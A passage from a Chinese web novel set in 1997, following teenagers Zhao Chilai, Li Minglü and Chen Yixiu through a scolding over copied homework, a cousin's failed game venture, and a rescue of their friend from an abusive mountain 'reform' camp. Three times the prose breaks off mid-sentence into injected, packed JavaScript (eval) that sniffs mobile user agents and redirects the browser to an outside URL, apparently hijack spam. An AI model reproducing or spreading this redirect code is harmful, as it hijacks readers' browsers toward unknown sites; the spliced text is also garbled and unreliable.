“没有啊,”赵庆国微愣,“我看他这两天都在家。” 她带着满脑子问号,关门回房。 吃过晚饭,陈抑休来找黎明律。 “借个行李箱。”他也没客套。 “你要出门?”黎明律摘下耳机。 “嗯,去趟北京,有个学习会。” “哦,我收拾一下,自己坐。” 黎明律取下柜子上的行李箱,抱出去擦洗,陈抑休则在他书柜前晃荡起来。他随意打量书架上的东西,时而点点头。 桌上摊着一本英文书,陈抑休好奇看了眼书名:“小王子……”很快放下。 离开前,一张彩虹色的书签吸引了他的视线。 他微微挑眉,捡起来细看。 黎明律没多久回来:“行了,你带走吧。” 陈抑休哦了一声,兴趣还留在手上:“慢慢也给你写了这个?” 黎明律一眼捕捉他手里的书签,第一反应是慌乱,反应过来他说了什么,微微怔愣:“你……什么意思?什么叫也?” “这个书签我也有啊。”他轻描淡写。 “……”黎明律知道他不会拿这种事开玩笑,恍然有种不太好的直觉,“这上面是……” “王小波书里的名言啊。” 果然。 预感得到验证,黎明律仿佛一脚踏空,有片刻茫然。他撑着行李箱拉杆,轻笑了一声:“呵。” “怎么,你不知道吗?”陈抑休放下卡片。 “我早该知道的……”黎明律自言自语,依旧没有抬头。 陈抑休打量他片刻,面露狐疑。正要说点什么,黎明律已经恢复正常:“你是怎么认出来的?”面色沉静,已经看不出一点失态。 “当然因为我看过啊,那本书我还借给你了。”陈抑休实话实说,帮他回忆了一下当时的过程。 黎明律听完又陷入沉默。 陈抑休看不懂他的奇怪,接过拉杆准备告辞。 “你什么时候开始看的这些?”黎明律似乎想起来自己应该说点什么。 “嗯……”陈抑休仰头认真思考,但没想起来,“具体不记得,不过有一段时间了。” “怎么,突然对这些数学无关的东西感兴趣?”黎明律似乎随口问。 “忽然就想试试。” 陈抑休看着他的眼睛,认真答。 黎明律微微蹙眉,面上隐约有两份疑惑,但不等他再说什么,陈抑休已经轻笑离开,出门前顺带邀请他有空来看书。 他走后,黎明律久久没有回神。 第二天是周日。 赵迟来早早做完功课,看见准备出门的黎明律时,忽然想起一件耽搁了几天的事。 “黎明律!你来得正好,现在有空过来剪个头吗?”她兴致勃勃,“上次约好的给你剪个短发,这几天光顾着刷题差点忘记了。” 他闻声停下,只是站在原地并没有动,隔着一堵齐胸的矮墙和她遥遥相望,眼神也好神色也好,沉静得可怕。 “……怎,怎么了?”赵迟来不明所以。 黎明律紧了紧背包,继续往窄巷里走:“没什么,不用剪了。”话说完,人也走远了。 赵迟来抠了抠额角,对他出尔反尔的动机摸不着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432042|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点头脑:“简直莫名其妙……” 她很快把这件事抛在脑后。 因为马上有一个模拟联考,不练拳的时候她都得刷题,没功夫想东想西。 下午两点的时候她从房间里起身,抱着几道圈出来的难题打算去找对面的陈抑休。 刚出来和找她的张鑫碰上。 “干嘛?”她没好气。 “嘿嘿,送你两套卷子练练手。” “想都不要想。”她自己还一堆事呢。 她径直往对面走。 张鑫看出她的意图,问得别有深意:“怎么,又去找一休哥抄作业啊?这么多年了一点不长进,小心别被你妈发现!” 赵迟来头都没回:“要你管!” 张鑫不忿撇嘴,把揉成一团的卷子塞回兜里,抬脚往南街走。 刚回头,被突然多出来的一个人吓得头皮发麻:“我……惠姨!您,您什么时候回来的?”一句脏话脱口而出,险险收回来。 已经快要进屋的赵迟来听见这句本来没什么反应,是听梁惠语气奇怪的问了一句“你说她找阿休干什么?”,才反应过来僵着脸转头。 “不是妈你听我说,我已经很久没抄了,最近找一休都是请教问题!” “哦,这么说,以前都是抄了?”梁惠已经挽起袖子。 张鑫赶紧挽回,直说自己开玩笑,但被梁惠一个甩手推开。 赵迟来一看这场面不对,顾不上什么作业不作业的,莽头冲出院门就朝窄巷里跑。 “赵迟来!你给我回来!” 梁惠也扔下包立刻追上去,随手还从回来的黎阿公手里抽了根篱笆。 赵迟来已经很久没有这么狼狈过了。 上一次感受这种从街头打到巷尾的殊荣,还是在……上一次。 一开始她还抽空解释,但很快就没了声音,因为梁惠压根不信她的解释,只是一味抽她。 十多年油盐不进的本事她一点也不想再领教,直接闭嘴。 反正梁惠跑不过她,只要等梁惠的电量耗尽,她再找个人多的地方稍微躲一会儿,躲到赵庆国回来,基本就没什么大事了。 天色将晚,街头巷尾还没有看见赵庆国的影子。 赵迟来肚子饿得不行,找了家人很多的麻辣烫店混进去边吃边等。 吃着吃着下起雨来。 滂沱大雨。 街上拥挤的人群很快就只剩稀稀拉拉的人影。 她望着油布棚边垂下来的雨帘,有点食不知味。 琢磨了片刻,决定等雨停了就回家认错,这么躲着也是煎熬。 棚外走过一条颓废的人影。 赵迟来眨了眨眼:“哥?” 人影闻声停下,疑惑转头,脸上全是憔悴:“慢慢?你怎么在这儿?” “……说来话长,”她叹了口气,“你饿不饿?” 梁辰的创业计划再次失败了。 他带着仅剩的一把破伞,刚刚和朋友散伙。兄妹俩互相倒苦水,抱着啤酒瓶就差号啕大哭。 “我们明明做得很好嘛,居然没有一个人买账!什么中东土豪,这么没品位!” “我明明都没抄了偏不信,就知道抓我以前的辫子,有这么当妈的吗?这么冷心肠?” “来,再走一个。” “走一个。” 瓶子相碰,两人仰头猛灌。 雨声稀里哗啦,丝毫没有减少。 轮子摩擦地面发出的碰撞声听得人心烦!赵迟来扭头盯向声音的来源,眼神不善。 居然落在一个熟人身上。 “一休哥?” 陈抑休拖着个笨重的行李箱,正和陷进坑里的轮子较劲,没有打伞。 活像个出水公鸡。 “慢慢?哥?你们怎么在这儿?” 几人面面相觑。 赵迟来欲言又止。 梁辰反问:“先说你是怎么回事吧?” 陈抑休垂眸盯了自己的脚好半天,猛吸一口气似乎才找到点力气—— “我的车前几天就发走了,被列车员劝回来。” 赵迟来消化了一会儿,明白他说的是记错了发车时间,抬起大拇指。 梁辰则拍了拍旁边的凳子:“来吧。” 二人转变成了桃园三结义。 37. 1997年秋 37 苦水倒完了。 该面对的狂风暴雨还是得面对。 但没必要一个人面对! 赵迟来央求梁辰陪她一起回去。 梁辰思索了一会儿,拍下一把皱巴巴的零票扭头跑路。 “……” “没事,我陪你。” “呜呜,谢谢你一休哥……” 关键时刻,还得是陈抑休。 两人小心翼翼挪进院门,梁惠就在客厅里坐着,和往常一样看电视嗑瓜子。 赵迟来推了陈抑休一把,陈抑休虽然有点瑟缩,但还是扣着脚趾进去了。 “阿,阿姨好。” 他站在门口,坐立难安。 梁惠看了眼他身后探头探脑的赵迟来,若无其事收回视线:“这么晚才回,看来晚饭不用吃了吧。” “嗯?” 每次梁惠只要消气了,都会问一句类似“吃饭吗”“饿不饿”“吃什么”的话。 赵迟来已经做好滑跪的准备,没想到梁惠压根不提旧事,居然说起吃饭的事。语气虽然还有点阴阳,但以她多年讨打的经验来说,这确实是翻篇的信号! “我要是说……还能吃呢?”她浅浅试探。 “?”梁惠横眼过来,她立刻改口:“吃饱了吃饱了嘿嘿!” “没你事了一休哥,你回去吧。”她从陈抑休身后钻出来,“今天谢谢你啊。” “哦,好。”陈抑休没太看明白,但还是听话往外走。 “等会儿。”梁惠叫住他。 “在的阿姨。”他立刻回头。 “阿律说慢慢找你抄作业是为了帮他对答案,是这样吗?”她突然杀了个回马枪,赵迟来瞬间警惕,悄悄对陈抑休点了点头。 “哦,对对。是阿律让慢慢找我的。”陈抑休很快反应过来。 “哦,”梁惠轻哦了一声,并没有接着追问,“没事了,下次你们自己对,别找我们慢慢。” “好,好的。” 恭恭敬敬送走陈抑休,赵迟来还有点奇妙的庆幸。 梁惠能这么快消气,绝对有黎明律的手笔。她恍惚想起之前他胡乱许下的一个承诺:如果抄作业的事有一天东窗事发,他会帮她扛下来。 这个黎明律,也不总是在出尔反尔嘛…… 不过对答案这么拙劣的借口,梁惠居然没有怀疑?黎明律他真就这么大本事?世界是个什么大型“西蒙说”游戏吗? 她当事人费尽口舌不管用,非得来个“权威人士”才能化干戈为玉帛? 她讨厌黎明律果然不是没有原因的。 话虽如此。 第二天上学路上碰见黎明律,她还是道了谢。 “还是你说话管用,厉害厉害。”她恭维。 “我不说你妈也会找其他理由放过你。”他不以为意。 “不不不,你不懂,她只会打到我服理为止。” 他侧眸,眼神复杂地看了她一眼:“……不懂的是你才对。” “?” 赵迟来想要追根问底,他已经先走一步了。 临近联考,学习的压力肉眼变得浓郁。 梁惠虽然没再和她掰扯以前的事,但近来却看她看得更严了。有时候她写着写着抠个脑袋,余光里都看见门缝里夹了个头,吓得脑门差点打开! 在家都这样,更别提去找陈抑休或者黎明律的时候,进进出出总得在她身上仔细端详,她受不了,主动拉出自己的校服口袋,外套口袋,裤子口袋,背包隔层等等给她看,证明自己的清白。 不给她看又怀疑,给她看又欲盖弥彰说什么不至于。 赵迟来都快给她搞出神经病,短短一周脸色肉眼可见变得暗沉发黄。 好不容易等到考完她能松口气,立刻借口照顾小午溜去了表哥家。 已经积灰很久的电脑和游戏机又锃光瓦亮。 她抱着一堆米泡和小午吃了一下午,不知道怎么就聊到之后的打算。 “就知道吃,也不想想以后打算做什么?” “哪儿想这么多,先考个大学再说吧。” “然后呢?一辈子读大学?” “有空还是想想你自己吧,这趟又白干,接着在家当全职儿子啊?” 熟悉的音乐响起,屏幕上出现魂斗罗结算页面。 他啧了一声,丢开手柄:“我就是不明白,咱们游戏明明做得挺好的,怎么就卖不动呢?” “卖东西这种事,不是你觉得好就行了,要你的目标客户觉得好才行……”她又塞了一根。 “咱这儿也没有中东人啊!” “没有你可以找啊,或者多找一些不玩游戏的人看看,他们都觉得好,那也差不了。” 梁辰仔细琢磨了一会儿,一拍大腿:“可以,把你那些小伙伴都叫过来,一起品鉴一下!” 五分钟后。 五人组齐齐出现在梁辰的电脑屏幕后方,舒适的古典音乐正在流淌。 “怎么说?”梁辰催促。 “我觉得……画面还挺好看的。”赵迟来第一个发言,“至少比那种马赛克游戏看着精致多了。” “音乐也挺专业,都是些很经典的古典乐器,应该也特意请过这方面的老师对吧?”这是文思泉。 “剧情也挺流畅。”这是黎明律。 “奖励给得也很足。”这是张鑫。 梁辰一一附和,最后看向陈抑休。 “我也觉得挺好的,如果我玩游戏的话,应该会想玩这个。”他也给了肯定的回答。 梁辰哀叹一声:“看吧!我就说很好!但它卖不动啊!” “虽然但是……”张鑫带了点转折,“总觉得这一套下来很熟悉。” “我也觉得。” 大家一致觉得熟悉,但又说不出来哪儿熟悉。 “这个游戏叫什么来着?”关键时刻黎明律问。 “叫《中东奇侠传》!” 梁辰话音刚落,几人脑子里同时闪过一道灵光—— “哦,《仙剑奇侠传》!” “嗐,这不就是仙剑奇侠传换了个中东的皮吗?还好你没在国内卖,要不告你抄袭。” “真的诶,感觉称呼人名地图换一下,毫无违和感。” 梁辰眼神躲闪,擦起了键盘:“也没有那么像吧……” “我的妈,大费周章搞好几个月,最后就出个中东奇侠传?哥,不是我说你,你好歹整个《苏丹的复仇》这种带点中东文化的名字呢?”赵迟来看得脑壳痛。 “是啊,这名字就对那些王爷没有吸引力,谁看得出来是个什么游戏?” 几人纷纷吐出憋了半天的那口气。 梁辰起初有点难为情,听着听着陷入沉思。 黎明律以为他被伤了心,拍了拍他的肩安慰:“没关系哥,咱还可以改,先研究一下他们本土文化,下一版一定会比这个更好。” 梁辰颇受鼓舞,伸手朝他肩膀搂过来,黎明律异常警觉,退后一步拉过陈抑休从他手下逃出去。 这样的好日子赵迟来并没有过很久,很快就被迫投入下一轮的学习。 同样不太好过的还有文思泉。 她爸还真带着新老婆儿子住回来,正大光明请街坊邻居吃了顿席。 大家碍于多年邻居情分,都去了一趟,只有黎阿公没去。 不过更多的交往就没有了。 倒也不是特意孤立,只是双方都不怎么热络。对赵迟来来说,巷子里不过多了两个陌生人。 但对文思泉来说显然不是这样。 她的精神越发不好。 尽管问起来每次都说没事,但她黯淡无光的眼睛却骗不了人。 赵迟来想要哄她开心却没什么头绪。 某次回来碰见陈抑休,文思泉脸上难得露出几分笑意。这个发现让赵迟来精神一振! 对啊!思泉喜欢一休哥啊! 找到突破点的赵迟来立刻行动起来。 她先是假借小午生日,邀请大家一起庆祝,除了张鑫其他人都一口答应。 然后联系东江公园附近一家西餐厅,预定座位,准备好惊喜:鲜花和蛋糕! 让店家以店庆福利的理由送给他们桌。 当然,到时候她会想办法把桌上的其他无关人员全都带走,只留陈抑休陪她。 所有一切都按照她的计划进行。 当天他们带着小午在公园溜达了一下午,抱着各种游戏奖品“随便”找到一家西餐店,点完菜闲聊了没一会儿,她给小午使眼色。 小午立刻收到,放下冰淇淋勺子突然干嚎起来。 “怎么了小午?” “哇啊啊啊,我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436783|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔方掉了,我的魔方掉了!”他一个劲重复。 “哎哟,我想起来,应该是掉在打气球那儿了,没关系,姐姐这就带你去找!”她连忙牵着他下地,和文思泉告辞,“你们先吃,我们马上回来!” 走之前还不忘给黎明律使眼色。 她提前和黎明律通过气,让他接到暗示找个机会跟着溜出来。果然,她带着小午离开没多久,他就借口去洗手间也离开了餐桌。 黎明律很快找到躲在窗外鬼鬼祟祟偷看的赵迟来。 “所以你大费周章演这么一出到底是为什么?” “别吵,边上点,马上你就知道了。”她赶紧给人扯回身后,不让他暴露行踪。 黎明律从她头顶浅浅探头。 餐厅里已经有了动静,工作人员推着餐车正朝两人所在的餐桌走过来。 到了沟通没几句,他们从盘子里开出一个草莓蛋糕,又从餐车下方拿出一束包装精致的向日葵。 隔着玻璃,听不见里面在说什么。 但黎明律光看文思泉惊喜又惊讶的反应,也能猜个大概。 他低头看向赵迟来。 果然从她嘴角看到明显的得逞和骄傲。 里面的人点上蜡烛,似乎唱起了什么歌。 他疑惑:“你还安排了生日歌?她和小午同一天吗?” 赵迟来也疑惑:“没有啊,我没……坏了!他们该不会误会了吧!以为生日的是思泉!” 她猜对了。 大家围着餐桌唱完歌,又拿出一顶生日帽戴在文思泉头上,催促她许愿吹蜡烛。 文思泉忍到现在已经有点不知所措,她下意识摆手推拒,应该在解释误会,但陈抑休笑着说了句什么,她很快不再挣扎,配合的许完愿吹蜡烛。 “哈哈哈哈!” 赵迟来看到这儿哈哈大笑。 虽然过程出了点意外,但结果都是一样的,她已经很久没有见思泉笑得这么开心了! 思泉开心,她也开心。 小午没看懂,叽叽喳喳问她怎么回事。她一边耐心解释,一边捂嘴偷笑。 笑了半天恍然想起黎明律应该还在旁边,却这么久没听见其他动静,唯恐他坏事立刻转头。 他还在呢,就站在她身后半步远的位置。 她松了口气,又有点疑惑。 疑惑他为什么不看里面,而是一言不发的看着自己。 她笑意未敛微微扬眉,用眼神询问。 他沉默片刻忽然挪开视线,若无其事投向窗里,仿佛只是随便看看。 赵迟来闷在心里又骂了一句莫名其妙,不再管他继续和小午说话。因此也就没看见,黎明律耳垂浅浅漫上耳尖的薄红。 11月的最后一天,联考的成绩出来了。 赵迟来的进步不大,远远比不上之前猪突猛进的势头。对于这个结果,她已经很满意了,毕竟保持不退步就已经很不容易。 但梁惠不是这么想的。 她从中看出她懈怠的影子,对她近期的学习态度表示不满。和赵庆国商量过后,决定适当减少加练的时间,提高补习的强度。 起初赵庆国不是很乐意,但梁惠指着并不明显的减肥结果反复鞭挞,他终究还是退了一步。 赵迟来早就习惯这种来回拉扯的场面,从头到尾一句话也没说。 只抽空去找了一下张鑫—— 这次的联考他缺席了,不止考试,最近几天连上课都没来。 她过来的时候家里只有章阿兰一个人。 电视里正在播放《康熙微服私访记》,她难得没有干活,煮了一壶茶就一碟梅干躺得舒舒服服。 看见赵迟来过来热情招手,让她坐下来一起看。听赵迟来问起张鑫的去处,她微微一顿,很快笑开。 “他啊,我给他送到广州去了。” “去广州做什么?” “强化培训。” “哦。”明年就要高考,强化培训确实挺普遍的,刚刚梁惠还说也给她报一个呢。 “那他多久回来?” “通过了就回,哈哈,这梅子好吃吗?” “好吃!” “好吃等会儿给你妈带点回去。” 窗外水声渐停。 潮湿多雨的秋天过去了。 即将迎来日渐寒冷的冬天。 38. 1997年冬 38 天气渐冷,赵庆国挑了个天高气爽的日子给赵迟来解了禁,做出一桌丰盛的放纵餐。 鱼肠煎蛋,阿胶乌鸡汤,芥末花螺,蒜蓉生菜,满满一大锅紫菜炒饭,甚至还买了一些卤鹅脖。 每一个都很好吃。 但赵迟来最喜欢的还是紫菜炒饭。 粒粒分明的丝苗米炒得松松散散,额外加量的八个鸡蛋让每一勺都泛着金黄,口口油香。整包紫菜干锅小炒,炒到焦脆放入塑料袋里捏碎,起锅之前和香葱一起全部盖入锅中,搅拌搅拌,简直吃得人天灵盖都要打开。 赵庆国的眼角笑出久违的褶子:“多吃点啊我们慢慢,这段时间辛苦了。” 赵迟来疯狂吸入,小心试探:“以后我都不用减肥了吗?” “不能光打巴掌,也得偶尔给个甜枣。”梁惠吃得慢条斯理,“你爸的原话。” “哈哈,不能前功尽弃,要坚持!”赵庆国握拳。 她瞬间蔫下去。 又很快振作,大肆扒饭。 似乎从小就是这样,她的悲伤和花城寒冷的雨季一样短暂。 但最近她还是感觉有点无聊。 张鑫离开已经半个多月,这半个多月每天面对空荡荡的前桌总感觉少了点什么。文思泉看她提不起精神,申请调换座位搬到了她面前,如此赵迟来才好一些。 学校之外,她也很少看见黎明律和陈抑休。 黎明律最近不知道在干什么,或许又找到了什么新的项目,一到下学就往西郊的方向跑,天天晚归。 一休哥则是另一回事—— 林首席夫妇回来了。临近年底,市内省内有不少演出表演。一起回来的还有他们的女儿肖筱。 这位大小姐虽然从小身体不好,但脾气却很大,只要陈抑休在家,总喜欢闹出些动静折腾他。 陈抑休为了避其锋芒,一般她在家的时候都很少回来。 巷子里人明明更多了,但总觉得比之前更清冷。 晨间早操期间,赵迟来遇上过几次肖筱。 她有病在身,不用像他们一样出操跑步,但总会坐在操场的看台台阶上笑眯眯看着。每次赵迟来跑过,都会偷偷对她张牙舞爪。 如果还是小时候,赵迟来说不定会找个机会把她堵在巷子里又吓唬一顿,但近来她心情不佳,没什么精力应付这个小麻烦精,每次只是白她一眼就加快脚步跑了。 如此几次,估计大小姐也觉得没意思,就再也没来。 到了十二月中,赵迟来翻日历的时候翻到一个提醒。12月23号那天,写着“三金”大寿。 她想起来,张鑫的生日在农历冬月,确实快到了。往年都是他们一起过的,要么下馆子大搓一顿,要么买一大堆东西玩半晚上游戏。 但是今年…… 她正纠结要不要找章阿兰要个地址过去看看他,恰巧碰见回来的张鑫他爸。 “张叔早啊!” “哦慢慢!你也早啊!” 他穿着加厚的便服夹克,整个人看起来圆鼓鼓的,一看见赵迟来就马上笑开,和平日里张鑫面前完全不一样。 但再怎么和蔼,身上多年老刑警的威严都挥散不去。 “这么早就去警局吗?” “我刚下班呢,你这是干嘛去?” “我晨练,准备跑两圈。” 寒暄了两句他就要走。 赵迟来犹豫片刻还是决定去找张鑫,问章阿兰还得再跑一趟,于是这会儿顺带问了。 “张鑫现在在广州哪儿,叔你能给我个地址吗?” “什么?”他回头。 “我说我想去找张鑫,马上不是他生日吗?头一次没在一起过,还挺奇怪的。” “哦这个啊,你们今年怕是不能一起过了,”他指了指靠山的西边,“老早就送去青龙观改造学习了,课程没学满不能随便出来呢。” “啊?”赵迟来疑惑,“我记得兰姨不是这么说的啊,说他去广州上培训班去了。” 张叔微微一愣,想起什么点点头:“对对对,是我记错了,上培训班呢学完了回,现在你们见不了。” 赵迟来蹙眉,还要再追问两句,他已经继续走了:“我得赶紧回去补个觉,就不和你多聊了,等张鑫回来你们可以给他补过一个!” 前后矛盾,明显心虚。 张鑫很有可能不在广州。至于在哪儿…… 一块被雨水打湿的牌匾突然在脑子里一闪而过:【青龙观不良教育中心】。 “不是吧,他居然把自己儿子送那儿去了?”看样子章阿兰都不知道,还以为张鑫真在广州补习呢! 上次躲雨那回虽然没有发生特别大的意外,但整个经历却让她并不是很舒服。万一张鑫分到那个包工头道长手下,指不定这个恶劣的老东西能干出什么事呢! 她立刻穿过窄巷想要告诉章阿兰那件事,却没有找到她的影子。 不得已,她只能对张叔说出自己的猜测,让他赶紧把人接回来,再不济看看那儿到底怎么个情况。 结果他只是敷衍摆摆手,让她不要担心,他心里有数。 “既然都送他去改造了,严厉点也是应该的,不吃点苦头这小子不会收心!我总不能看着他继续在外面鬼混吧?” “您,您知道了……” 之前他还误会张鑫用功刻苦,请她大吃了一顿,没想到兰姨还是和他捅破了。也不知道是什么时候的事? “他妈早跟我说了,好了,我真要睡了……” 他平时就对张鑫欠奉耐心,说不定老早就计划让张鑫好好吃个教训,怎么可能轻易放他回来? 想明白赵迟来也不浪费口舌,转头去搬自己的救兵。 她先是去叫了文思泉。 最近也只有她好找一些。 得知相张鑫被送到了青龙观,她的第一反应是武术学校。赵迟来简单给她讲了一通那天发生的事,她才反应过来。 “那不成的,那个包工头根本不是好人,咱们得去找他!” 两人达成一致,又一起去找黎明律和陈抑休。 黎明律不用多说,那天的情况他最清楚,听完立刻摘下耳机起身。陈抑休虽然不清楚什么情况,但看他们都去也二话不说加入。 几人打车直奔青龙观。 到山腰的时候外车无法再进,他们就下车自己走爬山道。 上次过来车子直接开到山顶停车场,这会儿走上去还是个挺艰难的事,没一会儿大家都满头大汗。 “不行,这样下去天黑都爬不上顶,咱得想想其他办法。”赵迟来看文思泉已经快喘不上气,摆了摆手。 “要是有顺风车倒是可以蹭一蹭。”陈抑休望向来路。 “我记得每天下午两点会有采购车给厨房送货,”黎明律想起什么提议,“要不这样,你们慢点爬,碰上顺风车问问能不能一起上来,我和阿休先骑车上去。” 采购的车确实有…… “这里哪有车给你们骑……” 黎明律指向隔壁盘山路边的一座小城隍庙:“那有。” 门口确实停了两辆自行车,应该是香客的。 “人家的车能借你吗?就算借了你也不会……” “我会。”黎明律打断,看着她目色沉静,“我现在会了。” “……” 赵迟来意外,脑子里冒出一个猜测。 他最近天天早出晚归该不会就是去学自行车了吧? “走了!”陈抑休已经穿过去。 他们先走一步。 赵迟来扶着文思泉也转到车道,边走边蹲顺风车。 她身上没有带表,不晓得过了多久,只知道肚子已经饿得咕咕叫的时候,终于看见熟悉的采购车开上来。 她们借口来观里做义工,成功混上车。 到了熟悉的山顶,走走逛逛带文思泉去找当初躲雨的小路。 没多久,赵迟来抵达熟悉的大门。 和上次一样,门是开的,院子里一眼看过去并没有人,前厢依旧没有使用的痕迹,黎明律和陈抑休也不在这里。 但骑上来的自行车却靠在墙角。 她试着走近,果然在墙角发现一条窄道,通向后面的区域。 “在后面,我们翻过去。” 里面有个铁门,上了锁打不开,但好在不是很高,爬上去也不是很难。 她先把文思泉送进去,然后三两下翻上来。 里面不是院子。 而是一条树木环绕的通道。 地上倒了一片刚砍的新竹,料理到一半。 天气不是很好,里头又弯弯绕绕,看不清到底通向什么地方。 赵迟来让文思泉待在原地:“如果我很久没出来,你别跟进来,回去报警。” 文思泉郑重点头,目送她进去。 意想中一去不回的事情并没有发生。 准确说赵迟来才进去没多久,就被慌手慌脚跑出来的两个人拖回来。 “不,不能进!” “回去,回去报警!” 黎明律和陈抑休都满头大汗。 “怎么回事?张鑫在不在里面?”她一头雾水。 “有,找到了……”陈抑休一口气没喘上来。 “他被人控制了,戴着头盔绑在一把铁凳子上,情况不是太好。”黎明律言简意赅,边说边示意铁门,“出去再说。” 赵迟来也没多问,故技重施先送文思泉出去。 轮到她时却只爬到一半,就滑手从门上掉下来。 “慢慢!” 身后两人及时接住她,外面的文思泉摁上铁柱,辛辣的刺痛顿时从指尖炸开。 “嘶……有电。” 她终于知道赵迟来为什么会掉下来。 “难怪大门从来不关,原来拿电堵着呢……”赵迟来忍不住甩手哈气。 “我去看看有没有其他出口。”黎明律心里闪过一丝不妙。 “不用看啦,里里外外就这一个门。” 突然有人出声阻止。 熟悉的刻薄声调从背脊直升脑门,赵迟来瞳孔一震。 她第一时间转身,拉拢身边的黎明律和陈抑休挡住门外的文思泉。 悄悄做了个快走的手势。 文思泉到嘴的话咽下去,悄默声息贴着墙根往外跑。 是那个包工头。 身上的道袍换成了练功服,背手站在小道的出口。 “我说是谁这么没素质不请自来,原来又是你。”他认出赵迟来,脸色沉了不少。 “我只是没素质,总比你这种不干人事的渣滓好一点吧。”她立刻怼回去。 “我们都知道了,”黎明律接过话头,“你们对那些所谓不良学生干的事。” “哦,然后呢?” “私自制造使用电刑椅是犯法的,你们就不怕坐牢吗?”陈抑休松开手往旁边挪了一些。 “哈哈,那你们去举报我啊,看能不能跑出去?”他踱步上前,“跑出去算我倒霉,跑不出去……倒霉的就是你们了。” “慢慢!” 挪出去的陈抑休突然抱起一根竹竿丢过来,包工头抬脚要踩,被莽头冲过来的黎明律死死抱住,推向竹林。 赵迟来成功拿到家伙事,先发制人给他头上来了一闷棍。 包工头终于反应过来,叉脚挡住后退的势头,大喝一声从黎明律手中挣脱。 “好好好,我还说先把你们送去训诫室,这么有想法只能直接送去雷公殿了!” 黎明律挨了他一脚,还想接着打。 “你们退后!都交给我!”赵迟来阻止,挡在了两人身前,“他会功夫,你们不是对手。” “现在怕了?”包工头紧了紧袖绳,“晚了。” “第一,我没怕,”赵迟来也摆出迎战的架势,看着他的眼睛没有丝毫躲闪,“第二,我只是来看我朋友,你如果老老实实把他放了,可以少挨一顿打。” “嗤!” 包工头哂笑一声,抬脚朝她的手腕踢过来。 青竹急旋,留下一道残影,随后“啪”的敲上飞过来的小腿腿腕,弹下一片灰尘。 “嗷呜——” 那包工头怪叫一声,仿佛触电瞬间缩回去好几步。 赵迟来转腕收势,竹棍已再次挡在身前。 “……小,小瞧你了,这次我绝不会再轻敌!”他一边废话一边悄悄转脚腕,等缓得差不多突然出其不意冲上来。 黎明律叫了一声小心,下意识上前,陈抑休横手拉住他:“不要给她捣乱。” 他有点上火:“那总不能就怎么看着?” 陈抑休沉思片刻:“也对,咱们可以给她加油!” “……你对她就这么有信心?”黎明律凝噎。 “当然啊!”陈抑休想也没想点头,“她可是赵慢慢,打架从来只拿第一名的赵慢慢。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449162|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “问题是他们这是打架吗……”他话音没落,赵迟来的暴喝突起。 “包工头!给林北死——” 两人转头,同时撞见一副此生难忘的场面。 健硕的赵迟来骑在某个瘦弱道长背上,一手锁着他的肩胛,一手插入他的鼻孔。两人脸上一个满是惊恐,一个全是狰狞。 黎明律嗫嚅半天,什么话也没说。 陈抑休喉咙微滚,轻轻松了口气。 “还愣着干什么?把他绑起来啊!”赵迟来抽空吼道。 几分钟后。 赵迟来拍拍手掌起身,瞥向旁边:“真是一点指望不上,还得我自己来。” 包工头嘴里塞着不知道谁的臭袜子,已经泪流满面。 两个男的垂着脑袋一声不吭,唯恐说错一句话变成第二个包工头。 门上有电暂时也出不去。 里面又有人,不能大摇大摆进去,几个人商量片刻,决定就在林子里躲一会儿。 文思泉成功跑路,不出意外的话她这会儿已经报上警,他们只要老老实实等着,就能稳稳当当把张鑫救出来。 “咕噜……” 三个人坐在地上大眼瞪小眼的时候,谁的肚子叫了一声。 “不是我啊,看什么看?”赵迟来直接给两人瞪回去。 黎明律没说话,默默抓起一把叶子。 陈抑休则窸窸窣窣在裤兜里掏了起来。赵迟来正要叫他小声点,他忽然掏出个塑料袋递给她。 “什么?” “豆沙粉粿。” 赵迟来眼神一亮,立刻接过来:“你怎么还带了吃的?明明也没见你准备啊!”她迫不及待咬下一口。 他笑回:“平时在学校都会带点吃的在身上,不方便的时候可以应付一会儿。” “为什么会不方便?” “有时候钻牛角尖想不明白,马上快收尾了不想停下来,或者单纯没时间的时候,都会不方便。”他细细解释。 “啊?原来你也有这么辛苦的时候,我以为对你来说什么都很简单呢。”赵迟来把另一边伸过来,“你要不要?” 他摇摇头。 “我没有你想的那么厉害,也有很多东西想不明白。”他也捡起一片树叶把玩。 “比如呢?” “比如……”他转头,“你啊。” “我?” “对,每次看到你我都会想,为什么一个人可以,可以这么……”他似乎找不到合适的词汇。 旁边玩了半天树叶的黎明律接过话头:“这么鲁莽,不知天高地厚。” “喂,你有病吧?”她不满。 “本来就是啊,正常人看见单车在外面,一个人没有,多少会心生警惕留一个人在外面接应吧,你倒好,连文思泉都敢带进来……” 